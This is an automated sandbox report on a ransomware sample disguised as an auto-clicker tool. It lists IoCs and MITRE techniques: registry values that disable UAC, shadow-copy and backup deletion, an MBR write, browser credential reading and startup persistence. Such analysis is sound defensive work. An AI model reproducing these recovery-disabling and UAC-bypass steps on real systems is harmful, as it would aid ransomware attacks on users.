chaos | 2e67d5e7d96aec62a9dda4c0259167a44908af863c2b3af2a019723205abba9e

Resubmissions

19-12-2024 11:32

241219-nnswfasnds 8

19-12-2024 11:31

241219-nmrxrasmhy 10

19-12-2024 11:28

241219-nlhbxssqer 5

19-12-2024 11:15

241219-nclyrasmfr 10

Analysis

max time kernel
739s
max time network
741s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
19-12-2024 11:15

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

AutoClicker-3.0.exe
Size

844KB
MD5

7ecfc8cd7455dd9998f7dad88f2a8a9d
SHA1

1751d9389adb1e7187afa4938a3559e58739dce6
SHA256

2e67d5e7d96aec62a9dda4c0259167a44908af863c2b3af2a019723205abba9e
SHA512

cb05e82b17c0f7444d1259b661f0c1e6603d8a959da7475f35078a851d528c630366916c17a37db1a2490af66e5346309177c9e31921d09e7e795492868e678d
SSDEEP

12288:GaWzgMg7v3qnCiWErQohh0F49CJ8lnybQg9BFg9UmTRHlM:BaHMv6CGrjBnybQg+mmhG

Score

10^/10

chaos bootkit defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan upx

Malware Config

Signatures

Chaos
Ransomware family first seen in June 2021.
ransomware chaos

Chaos Ransomware 4 IoCs

resource	yara_rule
behavioral1/files/0x000500000002a486-1332.dat	family_chaos
behavioral1/memory/5288-1334-0x0000000000C20000-0x0000000000C40000-memory.dmp	family_chaos
behavioral1/memory/2716-1402-0x0000000000400000-0x00000000005D5000-memory.dmp	family_chaos
behavioral1/memory/2716-1405-0x0000000000400000-0x00000000005D5000-memory.dmp	family_chaos

Chaos family
chaos

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5248	bcdedit.exe
5264	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5508	wbadmin.exe

Disables Task Manager via registry modification
evasion

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt	svchost.exe

Executes dropped EXE 4 IoCs

pid	Process
5268	mbr.exe
5288	Cov29Cry.exe
5580	svchost.exe
5212	Cov29LockScreen.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 34 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-3587106988-279496464-3440778474-1000\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
81	raw.githubusercontent.com
88	raw.githubusercontent.com
100	raw.githubusercontent.com
112	raw.githubusercontent.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	mbr.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\nqq2ijr8e.jpg"	svchost.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2716-1309-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/2716-1402-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/2716-1405-0x0000000000400000-0x00000000005D5000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TrojanRansomCovid29.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MS 0735.6+7421-safety.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mbr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cov29LockScreen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AutoClicker-3.0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5372	PING.EXE
1644	PING.EXE

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5936	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
5260	taskkill.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "183"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings	svchost.exe

Modifies registry key 1 TTPs 7 IoCs

Modify Registry

T1112

pid	Process
5148	reg.exe
5164	reg.exe
5180	reg.exe
5196	reg.exe
5212	reg.exe
5228	reg.exe
5244	reg.exe

NTFS ADS 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\MS 0735.6+7421.zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier	msedge.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1644	PING.EXE
5372	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5580	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3184	msedge.exe
3184	msedge.exe
2424	msedge.exe
2424	msedge.exe
5108	msedge.exe
5108	msedge.exe
1536	identity_helper.exe
1536	identity_helper.exe
2600	msedge.exe
2600	msedge.exe
3320	msedge.exe
3320	msedge.exe
3024	msedge.exe
3024	msedge.exe
1204	identity_helper.exe
1204	identity_helper.exe
3616	msedge.exe
3616	msedge.exe
2848	msedge.exe
2848	msedge.exe
976	msedge.exe
976	msedge.exe
3364	identity_helper.exe
3364	identity_helper.exe
3920	msedge.exe
3920	msedge.exe
1788	msedge.exe
1788	msedge.exe
1788	msedge.exe
1788	msedge.exe
4816	msedge.exe
4816	msedge.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5288	Cov29Cry.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe
5580	svchost.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 47 IoCs

pid	Process
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe

Suspicious use of AdjustPrivilegeToken 55 IoCs

description	pid	Process
Token: 33	4432	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4432	AUDIODG.EXE
Token: SeShutdownPrivilege	5304	shutdown.exe
Token: SeRemoteShutdownPrivilege	5304	shutdown.exe
Token: SeDebugPrivilege	5288	Cov29Cry.exe
Token: SeDebugPrivilege	5580	svchost.exe
Token: SeBackupPrivilege	5968	vssvc.exe
Token: SeRestorePrivilege	5968	vssvc.exe
Token: SeAuditPrivilege	5968	vssvc.exe
Token: SeIncreaseQuotaPrivilege	6092	WMIC.exe
Token: SeSecurityPrivilege	6092	WMIC.exe
Token: SeTakeOwnershipPrivilege	6092	WMIC.exe
Token: SeLoadDriverPrivilege	6092	WMIC.exe
Token: SeSystemProfilePrivilege	6092	WMIC.exe
Token: SeSystemtimePrivilege	6092	WMIC.exe
Token: SeProfSingleProcessPrivilege	6092	WMIC.exe
Token: SeIncBasePriorityPrivilege	6092	WMIC.exe
Token: SeCreatePagefilePrivilege	6092	WMIC.exe
Token: SeBackupPrivilege	6092	WMIC.exe
Token: SeRestorePrivilege	6092	WMIC.exe
Token: SeShutdownPrivilege	6092	WMIC.exe
Token: SeDebugPrivilege	6092	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6092	WMIC.exe
Token: SeRemoteShutdownPrivilege	6092	WMIC.exe
Token: SeUndockPrivilege	6092	WMIC.exe
Token: SeManageVolumePrivilege	6092	WMIC.exe
Token: 33	6092	WMIC.exe
Token: 34	6092	WMIC.exe
Token: 35	6092	WMIC.exe
Token: 36	6092	WMIC.exe
Token: SeIncreaseQuotaPrivilege	6092	WMIC.exe
Token: SeSecurityPrivilege	6092	WMIC.exe
Token: SeTakeOwnershipPrivilege	6092	WMIC.exe
Token: SeLoadDriverPrivilege	6092	WMIC.exe
Token: SeSystemProfilePrivilege	6092	WMIC.exe
Token: SeSystemtimePrivilege	6092	WMIC.exe
Token: SeProfSingleProcessPrivilege	6092	WMIC.exe
Token: SeIncBasePriorityPrivilege	6092	WMIC.exe
Token: SeCreatePagefilePrivilege	6092	WMIC.exe
Token: SeBackupPrivilege	6092	WMIC.exe
Token: SeRestorePrivilege	6092	WMIC.exe
Token: SeShutdownPrivilege	6092	WMIC.exe
Token: SeDebugPrivilege	6092	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6092	WMIC.exe
Token: SeRemoteShutdownPrivilege	6092	WMIC.exe
Token: SeUndockPrivilege	6092	WMIC.exe
Token: SeManageVolumePrivilege	6092	WMIC.exe
Token: 33	6092	WMIC.exe
Token: 34	6092	WMIC.exe
Token: 35	6092	WMIC.exe
Token: 36	6092	WMIC.exe
Token: SeBackupPrivilege	3712	wbengine.exe
Token: SeRestorePrivilege	3712	wbengine.exe
Token: SeSecurityPrivilege	3712	wbengine.exe
Token: SeDebugPrivilege	5260	taskkill.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe

Suspicious use of SendNotifyMessage 40 IoCs

pid	Process
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
3184	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2600	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe
2848	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
5428	PickerHost.exe
5212	Cov29LockScreen.exe
3876	PickerHost.exe
652	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3184 wrote to memory of 1112	3184	msedge.exe	80
PID 3184 wrote to memory of 1112	3184	msedge.exe	80
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 4972	3184	msedge.exe	81
PID 3184 wrote to memory of 2424	3184	msedge.exe	82
PID 3184 wrote to memory of 2424	3184	msedge.exe	82
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83
PID 3184 wrote to memory of 1056	3184	msedge.exe	83

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\AutoClicker-3.0.exe
"C:\Users\Admin\AppData\Local\Temp\AutoClicker-3.0.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:3536

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3184
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff917e63cb8,0x7ff917e63cc8,0x7ff917e63cd8
  2⤵
  PID:1112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
